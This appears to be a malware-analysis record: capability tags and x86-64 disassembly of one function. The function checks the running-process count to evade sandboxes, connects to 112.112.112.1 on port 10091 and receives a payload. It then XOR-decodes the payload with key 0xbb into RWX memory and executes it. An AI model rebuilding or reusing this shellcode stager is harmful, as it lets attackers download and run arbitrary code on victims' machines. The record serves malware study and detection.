Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Connect socket
Convert ip address from string
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov eax, 0x1440
call fcn.1400020c0
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1430], rax
mov r14d, 2
xor esi, esi
mov ecx, r14d
xor edx, edx
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400010d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateToolhelp32Snapshot_failed_with_error:__d_n
call fcn.140001010
xor eax, eax
jmp 0x140001381
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001120
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Process32First_failed_with_error:__d_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001381
lea rdx, [rsp + 0x50]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001120
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xf
jge 0x140001149
xor eax, eax
jmp 0x140001381
mov qword [rsp + 0x1450], rbp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], esi
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
je 0x140001374
mov ecx, 0x202
lea rdx, [rsp + 0x290]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001374
lea edx, [rax + 1]
mov ecx, r14d
lea r8d, [rax + 6]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000136e
mov ecx, 0x276b
mov word [rsp + 0x40], r14w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x44]
mov ecx, r14d
lea rdx, str.112.112.112.1
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001365
xor r9d, r9d
lea rdx, [rsp + 0x430]
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
cmp ebx, 0xffffffff
je 0x140001365
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x38]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x30], rsi
mov rcx, rbp
mov qword [rsp + 0x38], 0x1000
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rbp, qword [rsp + 0x30]
test rbp, rbp
je 0x140001365
mov edx, esi
test ebx, ebx
jle 0x140001318
cmp ebx, 0x40
jb 0x140001318
mov ecx, ebx
and ecx, 0x8000003f
jge 0x140001292
dec ecx
or ecx, 0xffffffc0
inc ecx
movdqa xmm2, xmmword [0x140003350]
mov eax, ebx
sub eax, ecx
movsxd rcx, eax
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rsp + rsi + 0x430]
add edx, 0x40
pxor xmm0, xmm2
movdqu xmmword [rsp + rsi + 0x430], xmm0
movdqu xmm1, xmmword [rsp + rsi + 0x440]
pxor xmm1, xmm2
movdqu xmmword [rsp + rsi + 0x440], xmm1
movdqu xmm0, xmmword [rsp + rsi + 0x450]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rsp + rsi + 0x450], xmm1
movdqu xmm0, xmmword [rsp + rsi + 0x460]
pxor xmm0, xmm2
movdqu xmmword [rsp + rsi + 0x460], xmm0
add rsi, 0x40
cmp rsi, rcx
jl 0x1400012b0
movsxd rax, edx
mov r8, rbx
cmp rax, rbx
jge 0x140001340
nop dword [rax]
nop word [rax + rax]
xor byte [rsp + rax + 0x430], 0xbb
inc rax
cmp rax, r8
jl 0x140001330
lea rdx, [rsp + 0x430]
mov rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
call rbp
xor eax, eax
jmp 0x140001379
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rbp, qword [rsp + 0x1450]
mov rcx, qword [rsp + 0x1430]
xor rcx, rsp
call fcn.1400013c0
lea r11, [rsp + 0x1440]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret